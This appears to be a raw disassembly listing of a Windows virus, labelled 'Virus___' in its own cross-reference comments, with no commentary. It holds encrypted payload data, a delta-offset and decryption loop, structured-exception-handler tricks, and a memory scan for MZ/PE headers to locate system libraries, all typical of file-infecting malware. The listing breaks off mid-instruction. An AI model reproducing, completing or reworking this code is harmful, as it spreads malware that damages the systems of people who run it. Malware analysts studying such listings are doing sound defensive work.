0E94DA715h, 0C0C028A2h, 386AC85h, 407D0676h, 18D1E058h dd 7B2D9400h, 1557917Eh, 20E32702h, 6B13B4E4h, 0E0982156h dd 88412DF0h, 1D83C20h, 0D41DECE4h, 0FF45BDA8h, 1840CF1Ch dd 6040F06Ah, 5CCC00B7h, 612A50DCh, 0EE09A9A0h, 182D2082h dd 571CACh, 963B37CBh, 9A6B39A6h, 0C606D0Bh, 0E0C87070h dd 8B849CC7h, 2CD1BD20h, 0A196C410h, 0C203BBCh, 1772D6h dd 6DA5F1A9h, 7DEDD5FAh dd 0A81F7F00h, 8DC0CC1Eh, 0D3BE281Bh, 6C2B0288h, 76BCACAAh dd 61044452h, 0A220D1A7h, 3C8050E2h, 0A7E785C0h, 48A88D25h dd 0B03021Ch, 19DDCF8Ah, 2B81A890h, 5CAE3000h, 0E0C467F3h dd 0EF78C58Eh, 62588C1Fh, 693C2714h, 0B045008Ah, 0D6F2E44Bh dd 4A80232h, 0C71F0E8Eh, 342644D3h, 0F5480427h, 0AED02024h dd 6402B58Dh, 0FFC98FBDh, 46CC6C3h, 0D02DC16Eh, 8040F823h dd 5F4EA54h, 0F5A5003Ah, 776C5598h, 2E03FA2Bh, 5F2470E7h dd 69A7B840h, 1A7D03FCh, 0CF582783h, 0CC4014CAh, 4C98A6CDh dd 82407649h, 4134D68Ah, 20111894h, 64222FC6h, 42CFAB2h dd 0BC94B0E4h, 6ACCE48Dh, 800C765Ch, 0B96187D1h, 0C1DB0316h dd 34572908h, 1BF4688h, 29398930h, 0AEA82Ch, 7CAAB199h dd 6AD8D76Ch, 0C44B6F25h, 509B4890h, 35A0FD30h, 1A002185h dd 0F2E63060h, 27CFCE62h, 58C417ACh, 4C34B500h, 7F3AF6BCh dd 291005Ch, 830C79D4h, 9D0008EDh, 41BAAD56h, 88E90F3Fh dd 0EA0B201Ah, 389435Dh, 0F802BE0Ah, 981E6D90h, 1DA480F9h dd 0CB4C98h, 204CB280h, 52140268h, 740D592h, 0E817876Dh dd 39EE620Eh, 0AB8E40BFh, 19BA039Dh, 0A7BEC3Fh, 0B3AEB0EFh dd 15002DB0h, 83921D0Eh, 25E4D9A5h, 0B0B0BC5Dh, 2890BE79h dd 21CCC453h, 0C2E41FC9h, 8675B0DFh, 0BD7784D8h, 0B8AD2600h dd 0BE19B2C7h, 585602FDh, 0F58B5F15h, 0A8660074h, 66EC09h dd 6B971716h, 3DBE887Eh, 1B77AD77h, 0C71D1113h, 950050F2h dd 476D5838h, 7334D39Dh, 0E8CCA082h, 67E5009Ah, 58011C3Eh dd 7802C1FDh, 1D1482CFh, 4B5C5CBEh, 4040050Ah, 6D5C0EB2h dd 24204A4Bh, 13699F7Ah, 0E073964Ch, 1E12BE54h, 70D018E4h dd 7C099E34h, 973B0080h, 0BBC6A47Ah, 2CA074BCh, 0D05CDFFFh dd 8A6E026Fh, 401E6A6Dh, 0BF114B2Ch, 8DA3B010h, 20B51EAh dd 0C1590347h, 82144BE8h, 6218BE98h, 19B4A8FCh, 0A2AE1363h dd 0D990A4CBh, 0E8DE1307h, 752588Dh, 40687C87h, 0BD8F3FF4h dd 97C1B403h, 0B88BFCE4h, 48ED8AEh, 0E7996E31h, 801CF81Fh dd 0EE631C15h, 0CF4701DEh, 737B0ABBh, 344C4171h, 0F2CDE36Dh dd 8BE000C4h, 36416291h, 2C430056h, 0D99B10ACh, 97E275C4h dd 44806A11h, 3BE7C100h, 412DE859h, 20187602h, 5A239F92h dd 19BE00D8h, 0E9FF505Ch, 4D00CBF5h, 0FDE4BAEh, 0B732C7h dd 88EA7BEFh, 0C0F35447h, 0D5390765h, 3100E0ADh, 5EDF4387h dd 3002A37Dh, 2A26AA03h, 0FE040B7h, 0A1101359h, 3D64D0CBh dd 91E4ED9Ah, 0EF88E760h, 0C0A1B21Ah, 0F3400D59h, 30BAAC62h dd 0E281D502h, 68A1DE61h, 48D4194Ch, 0D805A973h, 0B241E5E0h dd 767A70DCh, 0A8A41E01h, 0BF9C989Eh, 0B9237320h, 409700F8h dd 601BBA65h, 1700A0F6h, 1A71706Bh, 39801E3h, 34A61E31h dd 0C0D58108h, 0A2738530h, 40886D4Fh, 620500C8h, 0F6E54DDEh dd 0F801D19Bh, 0C63577B2h, 70239321h, 0BEDDAA0Eh, 59E82DE3h dd 0A7FCC002h, 6C74B1B7h, 0CC9B2900h, 0FDFF7F01h, 0B0h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53B16A: ; CODE XREF: start:loc_4E3265j ; DATA XREF: start:loc_4E3086o jmp loc_53E76B ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- align 10h dd 1Dh dup(0) dd 0BC000000h, 53B2h, 0Bh dup(0) dd 5277DD00h, 575Dh, 24h dup(0) dd 64000000h, 51000006h, 43h, 6Ch dup(0) dd 20000000h, 8600AB8Dh, 544Fh, 7 dup(0) dd 21000000h, 212121h, 4 dup(0) dd 8D000000h, 0FFFF69h, 39h dup(0) dd 0E0000000h, 12FFh, 3 dup(0) dd 0E4000000h, 572Fh, 5 dup(0) dd 0F000000h, 7BD03Eh, 0Ah dup(0) dd 76000000h, 53ECh, 14h dup(0) dd 0F9000000h, 7C90DDh, 1Ah dup(0) dd 64000000h, 771139h, 8 dup(0) dd 0F2000000h, 4E7C814Ah, 7C8044h, 0BB000000h, 56E6h, 28000000h dd 93000070h, 56E6h, 6 dup(0) dd 0C3000000h, 53C7h, 1Dh dup(0) dd 0E9000000h, 20Eh, 71000000h, 3B717171h, 791462h, 0Dh dup(0) dd 3E000000h, 0AB00h, 82h dup(0) dd 0E000000h, 7C8018h, 0Fh dup(0) dd 7E4100h, 21h dup(0) dd 0C2000000h, 1AAB78h, 11h dup(0) dd 32000000h, 0AE8Bh, 4 dup(0) dd 76000000h, 53ECh, 6 dup(0) dd 8000000h, 0ABB5h, 5 dup(0) dd 1000000h, 7 dup(0) dd 51000000h, 0AB8Eh, 0 dd 0D0000000h, 37h, 0Bh dup(0) dd 51000000h, 344435h, 0 dd 1C000000h, 26h, 0Ch dup(0) dd 74000000h, 8238CDh, 2Eh dup(0) dd 0FF000000h, 0FFFFFFh, 2 dup(0) dd 4E000000h, 177C8044h, 0AB94h, 2Ah dup(0) dd 0CB000000h, 53F4h, 2Bh dup(0) dd 6B000000h, 940056E6h, 0E97C90EBh, 0DBh, 0 dd 28000000h, 2ABC9070h, 632B0Dh, 21h dup(0) dd 0DA000000h, 0A07C81CDh, 7C80ADh, 7 dup(0) dd 0E9000000h, 83h, 5 dup(0) dd 22000000h, 19h, 7 dup(0) dd 52000000h, 575Dh, 0 dd 0DC000000h, 57AEh, 4 dup(0) dd 17000000h, 0FFFDF1h, 2 dup(0) dd 0FF000000h, 0FDFFFFh, 16h dup(0) dd 98000000h, 7C8018h, 0AFh dup(0) dd 96000000h, 6C74Eh, 14h dup(0) dd 6C000000h, 836F14h, 5 dup(0) dd 5E000000h, 0FFA9A1h, 0Bh dup(0) dd 0E9000000h, 20Eh, 15h dup(0) dd 3C000000h, 0AB1Ah, 4 dup(0) dd 0E4000000h, 7, 0Ah dup(0) dd 11000000h, 4200577Ch, 0AB18h, 2 dup(0) dd 77000000h, 3B7C801Dh, 791462h, 5 dup(0) dd 0FF000000h, 0FFFFFFh, 4 dup(0) dd 0FF000000h, 0FFFFFFh, 4 dup(0) dd 0DD000000h, 7AB963h, 9 dup(0) dd 40000000h, 558706h, 5 dup(0) dd 0F000000h, 0AB18h, 1Ah dup(0) dd 0B8000000h, 0 ; --------------------------------------------------------------------------- or eax, eax jz short loc_53C517 retn 18h ; --------------------------------------------------------------------------- loc_53C517: ; CODE XREF: Virus___:0053C512j mov eax, [esp+0Ch] push ebx call $+5 pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0ABFA37h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 10h dd 1Bh dup(0) dd 0F000000h, 0AB18h, 3 dup(0) dd 0E3000000h, 0DA0006F9h, 0FF7C81CDh, 3, 7 dup(0) dd 7FFDB3h, 26h dup(0) dd 0A7000000h, 0C0764Ah, 2Fh dup(0) dd 3C000000h, 0AB1Ah, 2 dup(0) dd 0FF000000h, 0FDDFFFh, 0Bh dup(0) dd 3B000000h, 791462h, 3 dup(0) dd 0AD000000h, 0ADFCh, 2 dup(0) dd 87000000h, 182A8Bh, 0 dd 18000000h, 0AB29h, 0 dd 24000000h, 242424h, 0AD000000h, 7E41A8h, 0Ch dup(0) dd 0C4000000h, 12FFh, 1Bh dup(0) dd 0C5000000h, 86EB9Dh, 9 dup(0) dd 28000000h, 0BC9070h, 9 dup(0) dd 2D000000h, 0F0053F1h, 0AB18h, 1000000h, 8 dup(0) dd 51000000h, 53AEB79Fh, 198C6Bh, 7A000000h, 759776h, 5 dup(0) dd 23000000h, 7C9100h, 18h dup(0) dd 5E000000h, 0CA880h, 0 dd 0F8000000h, 56E3h, 0A4000000h, 12FFh, 2 dup(0) dd 0EC000000h, 0AB37h, 0 dd 0B4000000h, 5746h, 0Ah dup(0) dd 97000000h, 0A014CFF7h, 7C80ADh, 10h dup(0) dd 0CF000000h, 0ABA8h, 17h dup(0) dd 1000000h, 3 dup(0) dd 43000000h, 49575C3Ah, 574F444Eh, 79735C53h, 6D657473h dd 415C3233h, 50415644h, 2E323349h, 6C6C64h, 49h dup(0) dd 52000000h, 575Dh, 0Eh dup(0) dd 4A000000h, 6Ah, 2 dup(0) dd 1B000000h, 77DFC4h, 6 dup(0) dd 28000000h, 70h, 0Ah dup(0) dd 69000000h, 56B4h, 0 dd 77000000h, 0FFFFC5h, 7 dup(0) dd 1000000h, 120777h, 12h dup(0) dd 0F000000h, 0AB18h, 1Fh dup(0) dd 0E9000000h, 20Eh, 0Dh dup(0) dd 0FE000000h, 6C15E8h, 80h dup(0) dd 0BF000000h, 53C3h, 8 dup(0) dd 0B000000h, 53C5h, 0Eh dup(0) dd 7400BB00h, 8238CDh, 6 dup(0) dd 85000000h, 93D22Dh, 4 dup(0) dd 1000000h, 6 dup(0) dd 0F000000h, 0AB18h, 0D1000000h, 56DDh, 4 dup(0) dd 62000000h, 0D12E9Bh, 9 dup(0) dd 94000000h, 0FFFFEBh, 0B000000h, 53D7h, 0Dh dup(0) dd 7E000000h, 524077EEh, 575Dh, 8 dup(0) dd 0E9000000h, 0DBh, 3Fh dup(0) dd 0E7000000h, 77DDEBh, 1000000h, 9 dup(0) dd 11000000h, 0B8353Ah, 0Bh dup(0) dd 63000000h, 53DBh, 0Fh dup(0) dd 0E9000000h, 0F000020Eh, 77DD6Bh, 0Ch dup(0) dd 63000000h, 940053DBh, 0EBh, 3 dup(0) dd 0E9000000h, 83h, 10h dup(0) dd 3B000000h, 791462h, 6 dup(0) dd 7C8000h, 7 dup(0) dd 0FF000000h, 0FFFFFFh, 4 dup(0) dd 0A000h, 11h dup(0) dd 38000000h, 5726h, 2 dup(0) dd 3000000h, 0FFFE20h, 19h dup(0) dd 0EE000000h, 0FFA870h, 22h dup(0) dd 77000000h, 5F7C810Ah, 3Bh, 0Bh dup(0) dd 0F000000h, 0AB18h, 2 dup(0) dd 0D0000000h, 37h, 2 dup(0) dd 38000000h, 5726h, 1Ch dup(0) dd 0BB000000h, 53B2h, 6 dup(0) dd 49000000h, 50EEB8h, 3 dup(0) dd 5F000000h, 731D8Ah, 1E000000h, 0E7DB3Ah, 3 dup(0) dd 0DB000000h, 7B1154F3h, 0E56CC9h, 1Bh dup(0) dd 91000000h, 0B29Fh, 17000000h, 0FFFDF1h, 3 dup(0) dd 44000000h, 0AB1Ah, 8 dup(0) dd 28000000h, 0BC9070h, 4 dup(0) dd 21000000h, 0B7DE8Bh, 0Ah dup(0) dd 17000000h, 0FFFDF1h, 0Dh dup(0) dd 5000000h, 8 dup(0) dd 1E000000h, 0EE663202h, 0F6F883h, 7 dup(0) dd 0E8000000h, 0FFFDh, 8 dup(0) dd 51000000h, 7C809Ah, 3 dup(0) dd 0E4000000h, 572Fh, 6F000000h, 9800575Fh, 57B1h, 0 dd 0AD000000h, 0A8h, 2 dup(0) dd 3B000000h, 791462h, 0Ch dup(0) dd 0C6000000h, 0DBBA7868h, 1154F3h, 5 dup(0) dd 85000000h, 1A9336h, 0Ah dup(0) dd 69000000h, 1Bh, 0EC000000h, 43h, 3 dup(0) dd 0E9000000h, 20Eh, 15h dup(0) dd 0A4000000h, 12FFh, 0 dd 3F0h, 12h dup(0) dd 9C000000h, 0FED655h, 13h dup(0) dd 33000000h, 2 dup(33333333h), 333333h, 5E000000h, 0EB0CA880h dd 25A65163h, 0DB694Bh, 0 dd 78000000h, 4 dup(0) dd 94000000h, 7C90EBh, 18000000h, 5749h, 0 dd 0FF000000h, 0FFFFBFh, 10h dup(0) dd 47000000h, 1E7C809Bh, 0E30A69h, 4 dup(0) dd 0FC000000h, 7E4505h, 4 dup(0) dd 76B400h, 0Eh dup(0) dd 96Ah, 0A7000000h, 0C0764Ah, 10h dup(0) dd 0EC000000h, 0AB37h, 2 dup(0) dd 5B000000h, 76B44Eh, 6 dup(0) dd 4B000000h, 8 dup(0) dd 12000000h, 0CD0056E4h, 0D12DF9h, 1000000h, 0Ch dup(0) dd 0E8000000h, 377C8000h, 0ABFAh, 0Ch dup(0) dd 25000000h, 7C8016h, 18000000h, 24FFFFE1h, 7C801Ah, 0Bh dup(0) dd 0AA000000h, 927CE877h, 929292h, 4 dup(0) dd 0DC000000h, 57AEh, 0Ch dup(0) dd 0F0000000h, 12FFh, 0Ch dup(0) dd 83000000h, 77DD78h, 3 dup(0) dd 0DA000000h, 7C8111h, 6 dup(0) dd 0B000000h, 53D7h, 0DB000000h, 2496B4h, 0 dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0B4000000h dd 0FFF62Fh, 35000000h, 0F005774h, 13h dup(0) dd 7F000000h, 574Ah, 5 dup(0) dd 51000000h, 43h, 0Ah dup(0) dd 0C2000000h, 1AAB78h, 2 dup(0) dd 98000000h, 989898h, 2 dup(0) dd 28000000h, 0BC9070h, 7 dup(0) dd 38000000h, 5726h, 16h dup(0) dd 0DE000000h, 7C80ABh, 14h dup(0) dd 9B000000h, 5A46D7h, 13h dup(0) dd 63000000h, 53DBh, 9 dup(0) dd 0AB00h, 7 dup(0) dd 0F8000000h, 1E0B5D30h, 663202h, 11000000h, 111111h dd 0Ah dup(0) dd 0E1000000h, 8Fh, 0 dd 28000000h, 0BC9070h, 0Bh dup(0) dd 23000000h, 5700h, 3 dup(0) dd 85000000h, 1A9336h, 0FD000000h, 0FF5405h, 5 dup(0) dd 41000000h, 0FE67E8h, 5 dup(0) dd 0FF000000h, 0DCF7FFh, 64000000h, 129AAh, 0Ah dup(0) dd 43000000h, 5747h, 20000000h, 0AB19h, 0Bh dup(0) dd 94000000h, 7C90EBh, 12h dup(0) dd 0D8000000h, 6DE28h, 8 dup(0) dd 6000000h, 5749h, 23h dup(0) dd 0AB00h, 4 dup(0) dd 0FA000000h, 0FFFFFFh, 4 dup(0) dd 6D000000h, 0BC7C9105h, 0C0009Bh, 12h dup(0) dd 7C9000h, 2Ch dup(0) dd 36000000h, 363636h, 7 dup(0) dd 6F000000h, 5400575Fh, 696D6568h, 6164h, 21h dup(0) dd 13000000h, 75BC82h, 0 dd 0E1000000h, 8Fh, 2 dup(0) dd 1000000h, 5 dup(0) dd 7A000000h, 5Ah, 2 dup(0) dd 3E000000h, 4A87EDh, 3 dup(0) dd 1000000h, 1C000000h, 93ED4Ah, 15000000h, 1BEE27h, 20h dup(0) dd 96000000h, 12F435h, 2Ch dup(0) dd 35000000h, 353535h, 2 dup(0) dd 14000000h, 53DA9h, 8 dup(0) dd 22000000h, 22222222h, 222222h, 3 dup(0) dd 2C000000h, 7B1CF601h, 0E56CC9h, 0Ah dup(0) dd 0A4000000h, 12FFh, 18h dup(0) dd 7F000000h, 574Ah, 10h dup(0) dd 0AC000000h, 577Eh, 4 dup(0) dd 0D000000h, 0AE8Bh, 4 dup(0) dd 23000000h, 5700h, 2 dup(0) dd 28000000h, 2500AB8Bh, 0EEAB0Ch, 19h dup(0) dd 6C000000h, 342F44h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E76B: ; CODE XREF: start:loc_53B16Aj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 71B360Bh mov [ebp+71B16A5h], edx mov [ebp+71B30B1h], esi mov [ebp+71B2B5Dh], eax cmp dword ptr [ebp+71B1449h], 0 jz short loc_53E7A3 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_53E7A3: ; CODE XREF: start+5B781j mov eax, [esp+40h+var_1C] mov [ebp+71B0B5Dh], eax push 45h call sub_53E857 push 783749Ah call sub_53E89D push 0A894B25h call sub_53E89D jmp loc_53E9E1 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h, 46h, 47h dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh dd 0C3C2C1C0h, 2 dup(0) db 3 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53E857 proc near ; CODE XREF: start+5B79Bp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 71B36F9h mov ebx, edx mov [ebp+var_28], 0 loc_53E873: ; CODE XREF: sub_53E857+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_53E892 mov eax, [ebp+arg_0] mov [ebx+71B3663h], eax inc [ebp+arg_0] inc ebx jmp short loc_53E873 ; --------------------------------------------------------------------------- loc_53E892: ; CODE XREF: sub_53E857+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_53E857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_53E89D proc near ; CODE XREF: start+5B7A5p start+5B7AFp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 71B3742h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_53E8C3: ; CODE XREF: sub_53E89D+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_53E8C3 mov [ebp+var_84], 0 lea edi, [edx+71B3663h] lea esi, [ebp+var_80] loc_53E8F3: ; CODE XREF: sub_53E89D+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_53E8FF: ; CODE XREF: sub_53E89D+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_53E8FF imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_53E8F3 popa leave retn 4 sub_53E89D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_53E93D ; --------------------------------------------------------------------------- loc_53E939: ; CODE XREF: Virus___:0053E940j inc dword ptr [ebp-4] inc esi loc_53E93D: ; CODE XREF: Virus___:0053E937j cmp byte ptr [esi], 0 jnz short loc_53E939 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_53E9CE ; --------------------------------------------------------------------------- loc_53E94F: ; CODE XREF: Virus___:0053E9D1j mov dword ptr [ebp-8], 0 jmp short loc_53E9C5 ; --------------------------------------------------------------------------- loc_53E958: ; CODE XREF: Virus___:0053E9C9j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_53E9B2 ; --------------------------------------------------------------------------- loc_53E968: ; CODE XREF: Virus___:0053E9B6j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_53E98A cmp bl, 39h ja short loc_53E98A sub bl, 30h jmp short loc_53E9AC ; --------------------------------------------------------------------------- loc_53E98A: ; CODE XREF: Virus___:0053E97Ej ; Virus___:0053E983j cmp bl, 61h jb short loc_53E99C cmp bl, 66h ja short loc_53E99C sub bl, 61h add bl, 0Ah jmp short loc_53E9AC ; --------------------------------------------------------------------------- loc_53E99C: ; CODE XREF: Virus___:0053E98Dj ; Virus___:0053E992j cmp bl, 41h jb short loc_53E9AC cmp bl, 46h ja short loc_53E9AC sub bl, 41h add bl, 0Ah loc_53E9AC: ; CODE XREF: Virus___:0053E988j ; Virus___:0053E99Aj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_53E9B2: ; CODE XREF: Virus___:0053E966j cmp dword ptr [ebp-0Ch], 2 jb short loc_53E968 cmp dword ptr [ebp-10h], 0 jbe short loc_53E9C2 mov eax, [ebp-10h] stosb loc_53E9C2: ; CODE XREF: Virus___:0053E9BCj inc dword ptr [ebp-8] loc_53E9C5: ; CODE XREF: Virus___:0053E956j cmp dword ptr [ebp-8], 2 jb short loc_53E958 add edx, 4 loc_53E9CE: ; CODE XREF: Virus___:0053E94Dj cmp edx, [ebp-4] jb loc_53E94F mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E9E1: ; CODE XREF: start+5B7B4j mov ecx, 7000h lea edi, [ebp+71B3888h] loc_53E9EC: ; CODE XREF: start+5B9DCj dec byte ptr [edi] inc edi dec ecx jnz short loc_53E9EC mov eax, 48692121h mov edx, 0F00E3000h sub edx, 0F0000000h lea eax, [ebp+71B3979h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax push edx jo loc_53EA2E jmp loc_53EA2E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 48h, 5Eh, 16h db 0E0h, 2Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53EA2E: ; CODE XREF: start+5BA0Aj start+5BA10j pop ebx jmp loc_53EA45 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- mov esp, 0BFD0E3AEh cmp dh, bh and bl, 82h add [edx+ebp*4-6D346903h], esp ; START OF FUNCTION CHUNK FOR start loc_53EA45: ; CODE XREF: start+5BA1Bj sub eax, edx mov bx, 0F167h and eax, 0FFFFF000h add bh, 0C1h mov bx, si mov ecx, edx xor edi, edi loc_53EA5A: ; CODE XREF: start+5BA61j cmp word ptr [eax], 5A4Dh jnz short loc_53EA6F movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_53EA77 loc_53EA6F: ; CODE XREF: start+5BA4Bj sub eax, 1000h inc edi jmp short loc_53EA5A ; --------------------------------------------------------------------------- loc_53EA77: ; CODE XREF: start+5BA59j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+71B398Ch] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_53EAB1 mov esi, [eax+1Ch] loc_53EAB1: ; CODE XREF: start+5BA98j xor eax, eax loc_53EAB3: ; CODE XREF: start+5BAB2j cmp eax, 32h jz short loc_53EAD7 cmp word ptr [esi], 5A4Dh jz short loc_53EAC8 loc_53EABF: ; CODE XREF: start+5BAC1j sub esi, 10000h inc eax jmp short loc_53EAB3 ; --------------------------------------------------------------------------- loc_53EAC8: ; CODE XREF: start+5BAA9j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_53EB19 jmp short loc_53EABF ; --------------------------------------------------------------------------- loc_53EAD7: ; CODE XREF: start+5BAA2j pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] push ebp call $+5 pop ebp sub ebp, 71B3997h lea eax, [ebp+71B3955h] mov [ecx+0B8h], eax pop ebp pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53EB19: ; CODE XREF: start+5BABFj xchg eax, esi pop large dword ptr fs:0 add esp, 4 and bl, 0DEh mov bh, ch mov cx, ds push eax pop ebx and cl, 4 push 0 push ecx call sub_53EB3C and [ecx-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_53EB3C proc near ; CODE XREF: start+5BB20p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_53EB3C endp ; --------------------------------------------------------------------------- scasd mov esi, 48683ED6h push esi add dword ptr [edx+0], 0F8EDEF80h or cl, cl jnz loc_53EB96 cmc add bl, 0A0h mov dword ptr [ebp+71B2105h], 1 ; CODE XREF: Virus___:0053EBC1j mov bl, 36h jmp loc_53EBA6 ; --------------------------------------------------------------------------- db 66h dd 0A205CB81h, 12E8h, 3F815D00h, 327D2095h, 0A0377BAAh dd 7341B011h, 8A77DF21h db 0D8h, 5Bh ; --------------------------------------------------------------------------- loc_53EB96: ; CODE XREF: Virus___:0053EB5Cj mov dword ptr [ebp+71B2105h], 0 or ebx, 6EED2ACAh loc_53EBA6: ; CODE XREF: Virus___:0053EB72j mov [ebp+71B225Dh], eax adc ebx, 25389B99h mov bx, 0A51Fh mov [ebp+71B2E11h], eax call near ptr loc_53EBC4+2 jle short near ptr loc_53EB66+7 pop edi loc_53EBC4: ; CODE XREF: Virus___:0053EBBCp enter 0FFFFBFF6h, 2Eh mov eax, 0BF58140Ch xchg ecx, [ebx-3F7EE7D6h] jmp near ptr 6653EC3Dh ; --------------------------------------------------------------------------- dd 0BEBE29B9h, 1956h, 7E9h, 81579E00h, 399E1C71h, 0F98A108Bh dd 0B104C281h, 0ED802FC6h, 19EA8104h, 8170DDDCh, 31EB0FC2h dd 89DBB153h, 2E88310h, 2810Fh, 0DE8A0000h, 81664848h dd 81B462CBh, 1EEh, 1B850F00h, 0BB000000h, 60DC5802h, 25E9h dd 0CD718000h, 1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0A5E96722h dd 65FFFFFFh, 4ED9587Bh, 0C91D2473h, 1B0DCCB2h, 4EB910Fh dd 384h, 6A6E9h, 10E900h, 912E0000h, 3A4B9540h, 0CA37D555h dd 0C2241F1h, 60609F28h, 0BD858960h, 1071B09h, 1B32719Dh dd 800F6107h, 5, 0F6E74BAh, 0C02B610Fh, 78B0Fh, 51600000h dd 9BEC8059h, 24548B61h, 81666028h, 8B4F1FD6h, 858961D8h dd 71B2A29h, 3CBEF8h, 95890000h, 71B1521h, 24247403h, 0FE9h dd 92E00A00h, 50A0B04Ah, 0D74DC1C3h, 41BDE674h, 0AE9AD66h dd 0EB000000h, 0E98044A4h, 2E012C2Ch, 0D185291Fh, 3071B2Ah dd 0E9242444h, 13h, 7564730Eh, 0A1B72BCBh, 4A42B345h, 0E5B4D440h dd 90987D16h, 0F870Fh, 0AE90000h, 4C000000h, 174B70ACh dd 0F1CB8BBCh, 0BE95090h, 0AA000000h, 6F6506B7h, 0BD72B164h dd 0E990FBF5h, 0Ch, 4E14DDh, 30496A40h, 4F4A3BE7h, 8978408Bh dd 1B0A6585h, 24440307h, 5BD0928h, 8B071B2Fh, 85091840h dd 71B1461h, 0C8816040h, 39C3B346h, 0BE9h, 49D92D00h, 32F19DC5h dd 0E4A40B56h, 0EE858961h, 0F8071B3Ah, 8D858958h, 8B071B2Ah dd 8D097870h, 71B12B9h, 0F1CC683h, 1988h, 0B9666000h, 0DE85ED3h dd 87000000h, 222F4276h, 0C6CF94BAh, 0FC2FBC9Bh, 7403615Ah dd 0F5F52424h, 25A1BD8Dh, 0BD89071Bh, 71B2BC9h, 0E758D89h dd 0FAD071Bh, 88Ch, 0B5316000h, 71B2E35h, 24440361h, 178A0F24h dd 0E9000000h, 12h, 6CD95650h, 5C87CEE4h, 8040B67Ch, 8F5D0B95h dd 0BD895850h, 71B1F91h, 0EE9ABh, 0B3050000h, 0CBA0B182h dd 12BE5334h, 0A74BE0D9h, 1659BD8Dh, 9D29071Bh, 71B24B9h dd 0F59D09ADh, 3071B28h, 31242444h, 1B24F98Dh, 0E9605007h dd 0Eh, 889D72D1h, 870515EDh, 87B1535Dh, 8961EB49h, 820F2404h dd 0Ah, 5E9h, 0B0B8BF00h, 60AB4FAEh, 21A5850Bh, 8D29071Bh dd 71B0959h, 0F9BD8D61h, 29071B29h, 1B2C998Dh, 5D952907h dd 0AD071B1Fh, 278D8589h, 4403071Bh, 10E92824h, 0E5000000h dd 80CC5743h, 1732B8A1h, 0E4914A1Dh, 0ABA9DA9Dh, 29B19589h dd 895E071Bh, 1B17A19Dh, 0EE8DFF07h, 83071B3Ah, 1B3AEEBDh dd 10750007h, 1C2444C7h, 0 ; --------------------------------------------------------------------------- lea esi, 